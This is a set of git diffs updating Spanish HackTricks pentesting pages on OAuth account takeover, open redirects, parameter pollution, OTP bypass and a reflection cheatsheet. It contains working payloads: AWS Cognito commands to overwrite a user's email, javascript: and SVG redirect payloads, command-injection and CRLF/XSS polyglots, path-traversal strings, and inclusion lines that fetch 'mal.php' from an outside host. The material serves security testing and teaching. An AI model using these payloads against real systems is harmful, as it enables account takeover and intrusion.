Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas del mundo**.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -9,7 +9,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -53,11 +53,11 @@ https://socialmedia.com/auth
```
3. A continuación, se te presenta una página de consentimiento.
4. Después de tu aprobación, la Red Social envía una respuesta al `redirect_uri` con los parámetros `code` y `state`:
4. Después de tu aprobación, la Red Social envía una respuesta a la `redirect_uri` con los parámetros `code` y `state`:
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com utiliza este `código`, junto con su `client_id` y `client_secret`, para realizar una solicitud del lado del servidor y obtener un `access_token` en tu nombre, lo que permite acceder a los permisos a los que has dado tu consentimiento:
5. https://example.com utiliza este `código`, junto con su `client_id` y `client_secret`, para realizar una solicitud del lado del servidor y obtener un `access_token` en tu nombre, lo que permite acceder a los permisos a los que has dado consentimiento:
```
POST /oauth/access_token
Host: socialmedia.com
@ -69,7 +69,7 @@ Host: socialmedia.com
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
El `redirect_uri` es crucial para la seguridad en las implementaciones de OAuth y OpenID, ya que dirige hacia dónde se envían los datos sensibles, como códigos de autorización, después de la autorización. Si está mal configurado, podría permitir a los atacantes redirigir estas solicitudes a servidores maliciosos, lo que habilitaría la toma de control de cuentas.
El `redirect_uri` es crucial para la seguridad en las implementaciones de OAuth y OpenID, ya que dirige hacia dónde se envían los datos sensibles, como códigos de autorización, después de la autorización. Si está mal configurado, podría permitir a los atacantes redirigir estas solicitudes a servidores maliciosos, lo que habilitaría el secuestro de cuentas.
Las técnicas de explotación varían según la lógica de validación del servidor de autorización. Pueden ir desde la coincidencia estricta de rutas hasta la aceptación de cualquier URL dentro del dominio o subdirectorio especificado. Los métodos comunes de explotación incluyen redirecciones abiertas, traversal de rutas, explotación de regex débiles e inyección de HTML para robo de tokens.
@ -85,23 +85,23 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Manejo inadecuado del parámetro de estado <a href="#bda5" id="bda5"></a>
En las implementaciones de OAuth, el mal uso u omisión del **parámetro `state`** puede aumentar significativamente el riesgo de ataques de **falsificación de solicitudes entre sitios (CSRF)**. Esta vulnerabilidad surge cuando el parámetro `state` no se utiliza, se utiliza como un valor estático o no se valida correctamente, lo que permite a los atacantes evadir las protecciones CSRF.
En las implementaciones de OAuth, el mal uso u omisión del **parámetro `state`** puede aumentar significativamente el riesgo de ataques de **falsificación de solicitudes entre sitios (CSRF)**. Esta vulnerabilidad surge cuando el parámetro `state` no se utiliza, se utiliza como un valor estático o no se valida correctamente, lo que permite a los atacantes eludir las protecciones CSRF.
Los atacantes pueden explotar esto interceptando el proceso de autorización para vincular su cuenta con la cuenta de una víctima, lo que puede llevar a posibles **tomas de control de cuentas**. Esto es especialmente crítico en aplicaciones donde se utiliza OAuth con fines de **autenticación**.
Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios desafíos de **CTF** y **plataformas de hacking**, resaltando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas.
Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios desafíos de **CTF** y **plataformas de hacking**, destacando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas.
El manejo adecuado y la validación del **parámetro `state`** son cruciales para protegerse contra CSRF y asegurar el flujo de OAuth.
### Antes de la toma de control de cuentas <a href="#ebe4" id="ebe4"></a>
### Antes de la toma de control de la cuenta <a href="#ebe4" id="ebe4"></a>
1. **Sin verificación de correo electrónico en la creación de cuentas**: Los atacantes pueden crear anticipadamente una cuenta utilizando el correo electrónico de la víctima. Si la víctima luego utiliza un servicio de terceros para iniciar sesión, la aplicación podría vincular inadvertidamente esta cuenta de terceros a la cuenta precreada del atacante, lo que lleva a un acceso no autorizado.
1. **Sin verificación de correo electrónico en la creación de la cuenta**: Los atacantes pueden crear anticipadamente una cuenta utilizando el correo electrónico de la víctima. Si la víctima luego utiliza un servicio de terceros para iniciar sesión, la aplicación podría vincular inadvertidamente esta cuenta de terceros a la cuenta precreada del atacante, lo que lleva a un acceso no autorizado.
2. **Explotando la laxa verificación de correo electrónico de OAuth**: Los atacantes pueden explotar servicios de OAuth que no verifican correos electrónicos registrándose con su servicio y luego cambiando el correo electrónico de la cuenta al de la víctima. Este método también conlleva riesgos de acceso no autorizado a la cuenta, similar al primer escenario pero a través de un vector de ataque diferente.
### Divulgación de secretos <a href="#e177" id="e177"></a>
Identificar y proteger los parámetros secretos de OAuth es crucial. Mientras que el **`client_id`** puede divulgarse de forma segura, revelar el **`client_secret`** plantea riesgos significativos. Si el `client_secret` se ve comprometido, los atacantes pueden explotar la identidad y confianza de la aplicación para **robar los `access_tokens`** e información privada.
Identificar y proteger los parámetros secretos de OAuth es crucial. Mientras que el **`client_id`** se puede divulgar de forma segura, revelar el **`client_secret`** plantea riesgos significativos. Si el `client_secret` se ve comprometido, los atacantes pueden explotar la identidad y confianza de la aplicación para **robar `access_tokens`** e información privada.
Una vulnerabilidad común surge cuando las aplicaciones manejan erróneamente el intercambio del `code` de autorización por un `access_token` en el lado del cliente en lugar del lado del servidor. Este error conduce a la exposición del `client_secret`, lo que permite a los atacantes generar `access_tokens` bajo la apariencia de la aplicación. Además, a través de la ingeniería social, los atacantes podrían aumentar privilegios agregando alcances adicionales a la autorización de OAuth, explotando aún más el estado de confianza de la aplicación.
@ -120,7 +120,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header filtrando Código + Estado
Una vez que el cliente tiene el **código y el estado**, si se **refleja dentro del encabezado Referer** cuando navega a una página diferente, entonces es vulnerable.
Una vez que el cliente tenga el **código y el estado**, si se **refleja dentro del encabezado Referer** cuando navega a una página diferente, entonces es vulnerable.
### Token de Acceso Almacenado en el Historial del Navegador
@ -134,13 +134,13 @@ El **código de autorización debería existir solo por un tiempo limitado para
Si puedes obtener el **código de autorización y usarlo con un cliente diferente, entonces puedes tomar el control de otras cuentas**.
### Rutas Felices, XSS, Iframes y Mensajes Post para filtrar códigos y valores de estado
### Rutas Felices, XSS, Iframes y Mensajes POST para filtrar códigos y valores de estado
**[Revisa esta publicación](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
**[Revisa este post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
En este informe de recompensa por errores: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) puedes ver que el **token** que **AWS Cognito** devuelve al usuario podría tener **suficientes permisos para sobrescribir los datos del usuario**. Por lo tanto, si puedes **cambiar el correo electrónico del usuario por un correo electrónico de otro usuario**, podrías **apoderarte** de otras cuentas.
En este informe de recompensa por errores: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) puedes ver que el **token** que **AWS Cognito** devuelve al usuario podría tener **suficientes permisos para sobrescribir los datos del usuario**. Por lo tanto, si puedes **cambiar el correo electrónico del usuario por un correo electrónico de otro usuario**, podrías **tomar el control** de otras cuentas.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -159,9 +159,9 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
### Abusando de tokens de otras aplicaciones <a href="#bda5" id="bda5"></a>
Como se [**menciona en este artículo**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), los flujos de OAuth que esperan recibir el **token** (y no un código) podrían ser vulnerables si no verifican que el token pertenezca a la aplicación.
Como se [**mencionó en este artículo**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), los flujos de OAuth que esperan recibir el **token** (y no un código) podrían ser vulnerables si no verifican que el token pertenezca a la aplicación.
Esto se debe a que un **atacante** podría crear una **aplicación compatible con OAuth e iniciar sesión con Facebook** (por ejemplo) en su propia aplicación. Luego, una vez que una víctima inicia sesión con Facebook en la **aplicación del atacante**, el atacante podría obtener el **token de OAuth del usuario otorgado a su aplicación y usarlo para iniciar sesión en la aplicación de OAuth de la víctima utilizando el token de usuario de la víctima**.
Esto se debe a que un **atacante** podría crear una **aplicación compatible con OAuth e iniciar sesión con Facebook** (por ejemplo) en su propia aplicación. Luego, una vez que una víctima inicie sesión con Facebook en la **aplicación del atacante**, el atacante podría obtener el **token de OAuth del usuario otorgado a su aplicación y usarlo para iniciar sesión en la aplicación de OAuth de la víctima utilizando el token de usuario de la víctima**.
{% hint style="danger" %}
Por lo tanto, si el atacante logra que el usuario acceda a su propia aplicación de OAuth, podrá tomar el control de la cuenta de la víctima en aplicaciones que esperan un token y no verifican si el token fue otorgado a su ID de aplicación.
@ -212,7 +212,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,10 +4,10 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -65,6 +65,14 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
# Redirección abierta al cargar archivos svg
---
When a web application allows users to upload files, it can be vulnerable to an open redirect attack if the application does not properly validate the uploaded file's content. An attacker can upload a specially crafted SVG file containing JavaScript code that redirects users to a malicious website.
---
Cuando una aplicación web permite a los usuarios cargar archivos, puede ser vulnerable a un ataque de redirección abierta si la aplicación no valida adecuadamente el contenido del archivo cargado. Un atacante puede cargar un archivo SVG especialmente diseñado que contenga código JavaScript que redirige a los usuarios a un sitio web malicioso.
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -159,22 +167,22 @@ response.redirect("~/mysafe-subdomain/login.aspx")
#### Open Redirect
An open redirect occurs when a web application redirects to a user-supplied link without proper validation. Attackers can exploit this vulnerability to redirect users to malicious websites, phishing pages, or other harmful content.
An open redirect occurs when a web application redirects to a user-supplied link without proper validation. Attackers can abuse this vulnerability to redirect users to malicious websites, phishing pages, or other harmful content.
##### Example
Consider the following vulnerable Java code snippet:
```java
String redirectUrl = request.getParameter("redirect");
String redirectUrl = request.getParameter("redirect_url");
response.sendRedirect(redirectUrl);
```
In this example, the code retrieves a URL from a request parameter and redirects the user to that URL without any validation. An attacker can craft a malicious link like `http://vulnerable-website.com/?redirect=http://malicious-website.com` to redirect users to the malicious website.
In this example, the application blindly redirects users to the URL supplied via the `redirect_url` parameter without any validation. An attacker can craft a malicious link like `http://vulnerable-website.com/?redirect_url=http://malicious-website.com` to redirect users to a harmful website.
##### Prevention
To prevent open redirect vulnerabilities in Java web applications, always validate and sanitize user-supplied input before using it to redirect users. Whitelist allowed domains or URLs and ensure that the redirect URL belongs to the whitelist before redirecting users.
To prevent open redirect vulnerabilities in Java applications, always validate and sanitize user input before using it to redirect users. Whitelist allowed URLs or domains and ensure that the redirect URL belongs to the expected domain.
```bash
response.redirect("http://mysafedomain.com");
```
@ -182,25 +190,22 @@ response.redirect("http://mysafedomain.com");
#### Redirección abierta
Una redirección abierta ocurre cuando una aplicación web redirige al usuario a cualquier URL enviada como parámetro sin validarla adecuadamente. Esto puede ser explotado por un atacante para dirigir a las víctimas a sitios maliciosos.
Una redirección abierta ocurre cuando una aplicación web redirige al usuario a una URL especificada en el parámetro de la solicitud sin validarla adecuadamente. Esto puede ser explotado por un atacante para dirigir a la víctima a un sitio malicioso, como un sitio de phishing o de malware.
##### Ejemplo vulnerable
##### Ejemplo
```php
<?php
$redirect = $_GET['url'];
header("Location: " . $redirect);
$redirectUrl = $_GET['url'];
header('Location: ' . $redirectUrl);
?>
```
En este ejemplo, el valor de `url` se toma directamente de los parámetros GET y se utiliza en la redirección sin ninguna validación. Un atacante podría aprovechar esto para redirigir a los usuarios a un sitio malicioso.
En este ejemplo, el valor de `url` se toma directamente de la solicitud GET y se utiliza para redirigir al usuario. Un atacante podría crear un enlace malicioso como `http://example.com/open-redirect.php?url=http://malicioussite.com` para redirigir a los usuarios a un sitio malicioso sin su conocimiento.
##### Recomendaciones de mitigación
##### Prevención
- Validar y filtrar cualquier entrada de usuario que se utilice en redirecciones.
- Limitar las redirecciones solo a URLs internas de la aplicación.
- Utilizar listas blancas de URLs permitidas en lugar de simplemente filtrar las no deseadas.
- Implementar una página de advertencia antes de redirigir a los usuarios a una URL externa.
Para prevenir la redirección abierta, se debe validar y filtrar cualquier URL proporcionada por el usuario antes de utilizarla en la redirección. Se pueden utilizar listas blancas de dominios permitidos o expresiones regulares para validar las URL y asegurarse de que solo se redirija a destinos seguros.
```php
<?php
/* browser redirections*/
@ -226,10 +231,10 @@ exit;
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -61,20 +61,20 @@ La forma en que las tecnologías web manejan los parámetros HTTP duplicados var
- **Flask:** Adopta el valor del primer parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre duplicados posteriores.
- **PHP (en el Servidor HTTP Apache):** Contrariamente, prioriza el valor del último parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente las explotaciones de HPP al honrar el parámetro manipulado del atacante sobre el original.
# Referencias
## Referencias
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,10 +6,10 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -20,7 +20,7 @@ Es posible **añadir cadenas al final del número de teléfono** que podrían se
<figure><img src="../.gitbook/assets/image (23).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
**El Bypass / Fuerza Bruta de OTP** funcionaría de la siguiente manera:
**Bypass de OTP / Fuerza Bruta** funcionaría de la siguiente manera:
<figure><img src="../.gitbook/assets/image (3) (2).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
@ -34,10 +34,10 @@ Es posible **añadir cadenas al final del número de teléfono** que podrían se
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,30 +1,30 @@
# Técnicas de Reflexión - PoCs y Polygloths CheatSheet
# Técnicas de Reflexión - Hoja de Trucos de PoCs y Políglotas
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
El objetivo de estos PoCs y Polygloths es proporcionar al probador un **resumen** rápido de las vulnerabilidades que podría explotar si su **entrada se refleja de alguna manera en la respuesta**.
El objetivo de estos PoCs y Políglotas es dar al probador un **resumen rápido** de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
{% hint style="warning" %}
Esta **cheatsheet no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
Esta **hoja de trucos no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más exhaustivas, accede a cada vulnerabilidad propuesta.
{% endhint %}
{% hint style="danger" %}
Aquí **no encontrarás inyecciones dependientes del tipo de contenido como XXE**, ya que normalmente intentarás esas por ti mismo si encuentras una solicitud que envía datos xml. Tampoco encontrarás aquí **inyecciones en bases de datos** ya que, aunque algunos contenidos puedan reflejarse, depende en gran medida de la tecnología y estructura de la base de datos del backend.
No encontrarás inyecciones dependientes del tipo de contenido como XXE, ya que generalmente las probarás tú mismo si encuentras una solicitud que envíe datos xml. Tampoco encontrarás inyecciones de base de datos aquí, ya que incluso si algún contenido se refleja, depende en gran medida de la tecnología y estructura de la base de datos backend.
{% endhint %}
## Lista de Polygloths
## Lista de Políglotas
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -102,9 +102,9 @@ $(ls)
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## Marcado Pendiente
## Marcado colgante
### Pruebas Básicas
### Pruebas básicas
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
@ -123,7 +123,7 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Redirección Abierta](../open-redirect.md) / [Falsificación de Petición del Lado del Servidor](../ssrf-server-side-request-forgery/)
### Pruebas Básicas
```bash
@ -141,7 +141,7 @@ javascript:alert(1)
([a-zA-Z]+)*$
((a+)+)+$
